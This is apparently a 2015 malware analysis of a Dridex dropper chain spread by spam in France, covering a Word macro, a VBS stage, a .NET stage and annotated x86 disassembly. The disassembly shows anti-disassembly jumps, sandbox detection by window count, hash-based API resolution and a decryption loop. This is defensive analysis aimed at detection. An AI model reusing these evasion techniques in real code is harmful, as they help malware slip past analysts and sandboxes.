Note: several different droppers are currently used in successive spam campaigns to distribute Dridex. The analyzed dropper was received on 08/06/2015.

A major spam campaign started 2015 June 8 in France for distributing a malware known as Dridex. You will find below a detailed analysis of the functioning of one of his droppers.

The rest of this page aims to detail these steps by explaining the obfuscation methods used, including the dropper x86. Still with the aim of improving detection capabilities and block the infection process.

Please, note that steps 3 and 4 are specific to Dridex botnet 120 (thanks to Techhelplist ). Some others Dridex droppers skips these steps.

The macro therefore downloads a VBS file from the Pastebin service, and then executes the VBS file.

The VBA code is executed when opening the Word document. It is complicated by the addition of many unnecessary waiting routines as well as some classic techniques of VB code obfuscation (cutting and inversing strings for example). The original macro code is available here .

In the case studied here, the downloaded Word document has the following characteristics :

As often, the first step in the infection lies in opening a document attached to an email. In our case it is a Word document expected to present a bill to the user and actually containing a piece of VBA code whose purpose is to download the intermediate dropper.

The interesting point here lies in the two savepic.ru calls that allow the developer of the spam campaign to track the progress of the compromising process.

The code is obfuscated by conventional string replacements and concatenation of chr (xxx) with no particular interest.

The downloaded VBS file code is fairly succinct. Its characteristics are the following :

The new .NET assembly being launched, we can take the next step...

This method is interresting because of the modification algorithm of the key at each permutation.

As can be seen from reading the source, ExploitsForearms() method :

The entry point simply calls KampongFlabby.ExploitsForearms(); method, which contains almost all of the intermediate dropper code. The obfuscated code is available here . Once cleaned, the code is as follows :

Note : GlitteringGlistened() method contains no code. it probably just serves to muddy the waters because some decompilers fail to decompile it.

The only interesting and used methods are ExploitsForearms() , HatchetsDramatists() , IslamFrugality() , �L~() (entry point) and MarshalledLiverworks() .

Most methods return a value or modify a received parameter. They also often contain valid code but included in if() statements which are always false. Example :

Regarding the code, only the KampongFlabby class is interesting. It contains more than 300 methods, the vast majority are of of no interest except for being capable to fool antivirus by generating various executables on the fly.

The size of a one of the resources is surprisingly large :

So, we can go directly to the next step...

The intermediate assembly ( available here ) is of no particular interest. It contains a data block of about 3Kb that it will load into memory and run. The data in question contains a piece of x86 code. The intermediate assembly can be summed up with the following code :

Step 5 - x86 dropper : deciphering and launching the payload

Code is available here : Dridex x86 dropper disassembled, and binary there : Dridex x86 dropper (binary).

See here for disassembled and commented code is also available.

In this part we will see what the dropper does and detail its anti-disassembly and sandbox detection methods.

Digression on obfuscation methods used

This code is interesting for several reasons. It exhibits a number of techniques to make it fairly resistant to static analysis :

Consumption of call return address as API callback enumeration ;

return address as API callback enumeration ; Immoderate use of jmp to mislead disassemblers operating in "linear" mode ;

to mislead disassemblers operating in "linear" mode ; Total obfuscation of imports used ;

Changing variables by stacking them and modifying them directly on the stack ;

Disseminating useless instructions to complicate the reading and understanding of the code ;

"linear" or "stream-oriented" disassembler

As a preliminary, an illustration of the use of JMP to mislead disassemblers operating in linear mode. Consider the following code disassembled by IDA, wich works in "flux" mode :

seg000:000002FE C7 45 F8 00 00 00+ mov [ebp+var_8], 0 seg000:00000305 46 inc esi seg000:00000306 8D 45 F8 lea eax, [ebp+var_8] seg000:00000309 11 DE adc esi, ebx seg000:0000030B EB 03 jmp short loc_310 seg000:0000030D BC db 0BCh ; + seg000:0000030E EA db 0EAh ; Û seg000:0000030F AB db 0ABh ; ½ seg000:00000310 loc_310: seg000:00000310 50 push eax seg000:00000311 47 inc edi seg000:00000312 E8 1F 00 00 00 call sub_336

We can ask what are the 3 bytes 0x30D - 0x30F ? They serve to make the code less readable by disassemblers that work in linear mode. For example, Ollydbg decodes the same sequence as follows :

seg000:000002FE C7 45 F8 00 00 00+ mov [ebp+var_8], 0 seg000:00000305 46 inc esi seg000:00000306 8D 45 F8 lea eax, [ebp+var_8] seg000:00000309 11 DE adc esi, ebx seg000:0000030B EB 03 jmp short 000000310 seg000:0000030D BC EA AB 50 47 mov esp, 4750ABEA seg000:00000312 E8 1F 00 00 00 call sub_336

We can note that in the case of disassembly in linear mode, you see a JMP to a destination in the middle of an MOV instruction ! In linear mode, disassembler disassembles the instructions one after the other, so after the interpretation of two bytes of the JMP , it interprets following bytes as a MOV ESP, 4750ABEA , wrongly !

A disassembler operating in stream mode stores the destination of the JMP and resumes disassembly there. Thus it correctly decodes the sequence PUSH EAX / INC EDI in 0x310 and interprets the bytes in 0x30D - 0x30F as data since they have no sense as instructions.

The remaining difficulty as a reader of the code is to decide whether these data are meaningful or not... In this case it is not.

In the rest of this article, the JMP and skipped unnecessary data will be removed from the code to improve readability.

Unnecessary instructions

Before returning to what the dropper does, second digression on unnecessary instructions to complicate the understanding of the code. If one studies the following code :

seg000:00000276 nextDword: seg000:00000276 31 C1 xor ecx, eax seg000:00000278 83 FB 00 cmp ebx, 0 seg000:0000027B 74 6A jz short loc_2E7 ; ======> No more bytes to decipher... seg000:0000027D 0F AF FF imul edi, edi seg000:00000280 8B 06 mov eax, [esi] ; On prend 4 octets de la source... seg000:00000282 49 dec ecx seg000:00000283 33 45 10 xor eax, [ebp+key] ; ...on les déchiffre... seg000:00000286 0F AF FE imul edi, esi seg000:00000289 89 06 mov [esi], eax ; ...et on les remet dans le buffer ! seg000:0000028B 09 4D DC or [ebp+var_24], ecx seg000:0000028E FF 75 10 push [ebp+key] ; Pushs the key on the stack seg000:00000291 89 F2 mov edx, esi seg000:00000293 C1 04 24 04 rol [esp+30h+var_30], 4 ; Rolling the key 4 bits left seg000:00000297 C7 45 E0 FD 00 00+ mov [ebp+var_20], 0FDh seg000:0000029E C1 04 24 02 rol [esp+30h+var_30], 2 ; ...and 2 more bits... seg000:000002A2 6B FF 0B imul edi, 0Bh seg000:000002A8 D1 04 24 rol [esp+30h+var_30], 1 ; ...and one more bit ! seg000:000002AB F7 DF neg edi seg000:000002AD 8D 4D 0C lea ecx, [ebp+bufferSize] seg000:000002B0 8B 09 mov ecx, [ecx] ; ECX = buffer size seg000:000002B2 29 0C 24 sub [esp+30h+var_30], ecx ; Key = key-bufferSize seg000:000002B5 83 DA 17 sbb edx, 17h seg000:000002B8 81 2C 24 8A 3F 61+ sub [esp+30h+var_30], 49613F8Ah ; Key = Key-0x49673F8A seg000:000002BF 4A dec edx seg000:000002C4 81 2C 24 48 C3 34+ sub [esp+30h+var_30], 34C348h ; Key=Key-0x34C348 seg000:000002CB 1B 7D F8 sbb edi, [ebp+var_8] seg000:000002D2 8F 45 10 pop [ebp+key] ; Pops the key modified directly on the stack seg000:000002D5 29 D8 sub eax, ebx seg000:000002D7 4B dec ebx seg000:000002D8 8B 45 DC mov eax, [ebp+var_24] seg000:000002DF 46 inc esi seg000:000002E0 F7 DA neg edx seg000:000002E5 EB 8F jmp short nextDword seg000:000002E7 loc_2E7: seg000:000002E7 89 75 F0 mov [ebp+var_10], esi seg000:000002EF 5E pop esi seg000:000002F0 5B pop ebx seg000:000002F1 C9 leave seg000:000002F2 C2 0C 00 retn 0Ch

We can note that the registers EDI and EDX are used repeatedly to change their content, but never to use it. These registers are not used by the caller. One can also see at 0x2D5 that the SUB EAX, EBX instruction is unnecessary since it is followed by MOV EAX, [EBP + var_24] which will overwrite its content !

The dropper code is riddled with unnecessary instructions greatly complicating his reading and understanding.

Sandbox detection and elegant management of callback function

The first action of the dropper is to count the number of windows in the system by using the EnumWindows ( WNDENUMPROC lpEnumFunc, LPARAM lParam ) function, probably to detect execution within some sandbox. The EnumWindows () function has two parameters : a pointer to a callback function and a DWORD pointer to propagate to this function. The callback function will be called by EnumWindows () for each window of the system.

The sandbox detection function uses a fun trick: it prepares the lparam to pass to EnumWindows (this will be a pointer to a window counter), then makes a CALL (see blue) to a piece of code that will call EnumWindows () . Since no other parameter than lParam was stacked, the return address CALL will be recovered in the stack with the EnumWindows () which will interpret it as the address of the callback function !

In this way, the code for the callback function (see Green) is found in the middle of the sandbox detection function and IDA is totally lost as it can not detect that the code from the address 0x317 is a callback and seeing a CALL it creates an sub_336 , wrongly ending the detectSandbox sub and losing in the interpretation of the stack.

seg000:000002F5 ; *************************************************************************************** seg000:000002F5 ; * detectSandbox (to be confirmed) ? * seg000:000002F5 ; *************************************************************************************** seg000:000002F5 ; * DESCRIPTION : this function counts the Windows in the system and returns 1 if the * seg000:000002F5 ; * number of windows is 15, 1C, 7 or 6, else it returns 0. * seg000:000002F5 ; * * seg000:000002F5 ; *************************************************************************************** seg000:000002F5 seg000:000002F5 detectSandbox proc near seg000:000002F5 var_8 = dword ptr -8 seg000:000002F5 var_4 = dword ptr -4 seg000:000002F5 arg_0 = dword ptr 8 seg000:000002F5 arg_4 = dword ptr 0Ch seg000:000002F5 55 push ebp seg000:000002F6 89 E5 mov ebp, esp seg000:000002F8 83 EC 34 sub esp, 34h seg000:000002FE C7 45 F8 00 00 00+ mov [ebp+var_8], 0 seg000:00000306 8D 45 F8 lea eax, [ebp+var_8] ; [ebp+var_8] is the counter of windows seg000:00000310 50 push eax ; EAX refers [ebp+var_8] => lpParam for future call to EnumWindows(); seg000:00000312 E8 1F 00 00 00 call sub_336 seg000:00000317 ; We will never return here since we have stacked only one parameter and called a portion seg000:00000317 ; of code who will call EnumWindows() which consumes two parameters. The return address stacked by the call will be seg000:00000317 ; used as the EnumWindows callback function. seg000:00000317 ; ======================================================================================= seg000:00000317 seg000:00000317 seg000:00000317 ; --------------------------------------------------------------------------------------- seg000:00000317 ; Entry point of the EnumWindows callback function called by sub_336 seg000:00000317 ; seg000:00000317 ; BOOL CALLBACK EnumWindowsProc ( _In_ HWND hwnd, _In_ LPARAM lParam ); seg000:00000317 ; seg000:00000317 ; This callback function is used to count the number of windows in the system. seg000:00000317 19 CA sbb edx, ecx ; dumb instruction not removed to have something in 0x317 seg000:00000319 8B 44 24 08 mov eax, [esp+arg_0] ; EAX = lParam = pointer to windows counter seg000:00000324 FF 00 inc dword ptr [eax] ; Increment windows counter seg000:0000032B B8 01 00 00 00 mov eax, 1 ; Return 1 to continue enumeration seg000:00000331 C2 08 00 retn 8 seg000:00000336 ; --------------------------------------------------------------------------------------- seg000:00000336 seg000:00000336 seg000:00000336 ; ======================================================================================= seg000:00000336 ; This is not really a subroutine. IDA had been fooled by the EnumWindows seg000:00000336 ; callback function hidden into sub_2F5 seg000:00000336 sub_336 proc near seg000:00000336 68 21 5E 53 7C push 7C535E21h ; 'User32.dll' seg000:0000033B E8 D9 FC FF FF call getModuleHandle seg000:00000340 68 CA 16 5D 38 push 385D16CAh ; EnumWindows hash seg000:00000345 50 push eax seg000:00000346 E8 BD FD FF FF call getAPIAddress seg000:0000034B FF D0 call eax ; Call to EnumWindows ( WNDENUMPROC lpEnumFunc, LPARAM lParam ); seg000:0000034D ; Here we return from EnumWindows() and [EBP-8] contains the number of windows enumerated seg000:0000034D ; It seems that some sandboxes have only a few windows to enumerate because seg000:0000034D ; if there is only 0x15, 0x1C, 7 or 6 windows, we will terminate here !seg000:0000034D seg000:0000034F 83 7D F8 15 cmp dword ptr [ebp-8], 15h ; [EBP-8] is the windows counter (Value = 0x5A in my XP VM) seg000:00000353 74 2A jz short loc_37F seg000:0000035B 83 7D F8 1C cmp dword ptr [ebp-8], 1Ch seg000:0000035F 74 1E jz short loc_37F seg000:00000363 83 7D F8 07 cmp dword ptr [ebp-8], 7 seg000:00000367 74 16 jz short loc_37F seg000:0000036F 83 7D F8 06 cmp dword ptr [ebp-8], 6 seg000:00000373 74 0A jz short loc_37F seg000:0000037A EB 0E jmp short loc_38A seg000:0000037F loc_37F: ; ... seg000:00000381 B8 01 00 00 00 mov eax, 1 ; Return 1 ==> process will be terminated ! seg000:00000388 C9 leave seg000:00000389 C3 retn ; ===> We will come back in 0x3B1, return of caller of detectSandbox ! seg000:0000038A loc_38A: ; ... seg000:0000038D 31 C0 xor eax, eax ; Return 0 => we will live... seg000:00000391 C9 leave seg000:00000392 C3 retn ; ===> We will come back in 0x3B1, return of caller of detectSandbox ! seg000:00000392 sub_336 endp

Total obfuscation of Windows API calls

You might have noticed from 0x336 to 0x346 the unusual mode Windows API invocation ?

Here's another example to retrieve the handle of the current application :

seg000:000003C6 ; Stacking API parameters seg000:000003C6 6A 00 push 0 ; Retrieve current app handle seg000:000003CF ; Retrieving DLL handle seg000:000003CF 68 45 98 BB F3 push 0F3BB9845h ; 'Kernel32.dll' hash seg000:000003D4 E8 40 FC FF FF call getModuleHandle ; Rtrieve Kernel32.dll handle in EAX seg000:000003D9 ; Retrieving API function address seg000:000003D9 68 FD 49 87 C6 push 0C68749FDh ; 'GetModuleHandleW' hash seg000:000003DE 50 push eax ; Pushs Kernel32.dll handle for getAddress call seg000:000003DF E8 24 FD FF FF call getAPIAddress ; Retrieve GetModuleHandle() entry point in EAX seg000:000003E4 ; Calling API function seg000:000003E4 FF D0 call eax ; GetModuleHandle( NULL );

The dropper uses a total obfuscation method consisting in :

a module handle search function based on a hash of its name

a search function for finding exported function address operating on the basis of a hash of the function name

Each time the dropper needs to call a Windows API, it stacks the parameters to send to the API (here PUSH 0 to retrieve the handle of the current application), then it pushes the hash name of the DLL containing the desired API and calls the DLL handle recovery function. Then he pushes the hash of the name of the desired function, and the handle of the DLL and calls the API address search function. Finally he calls the desired Windows API.

The API search function in the DLL (function here named getAPIAddress ) is classic : it parse the table of exports of the DLL module in memory, hashing each function name it exports and comparing it to the desired hash.

The search DLL handle function uses the PEB and the PEB_LDR_DATA to walk throught the process's list of loaded module and retrieve the one looked for by comparing hash of the DLL name.

Modifying data via the stack

Final point of interest in code reading complication : in the decryption function of the compressed executable hidden in a sequence of resources, the dropper uses a sequence of instructions like PUSH DWORD PTR SS: [EBP + 10h] then changes of the DWORD at the top of the stack, such as ROL [ESP], 4 then DWORD PTR SS POP: [EBP + 10h] . An inattentive reader will not see that the value pushed on the stack has been modified before being recovered since generally within the same block of code, instructions PUSH and POP are used precisely to preserve the pushed value !

You can see an illustration of this technique a little further down in this page in the decryption routine named bufferDecipher (see here), at offsets 0x28E , 0x293 , 0x29E , 0x2A8 , 0x2B2 , 0x2B8 , 0x2C4 and 0x2DD .

Back to the subject of the dropper

After this digression, back to the subject of the dropper operations. Its main function will be to decrypt and decompress a new executable hidden in a resource of the .net executable launched. Once decrypted and decompressed, it will run it.

The recovery method of encrypted data is rather special :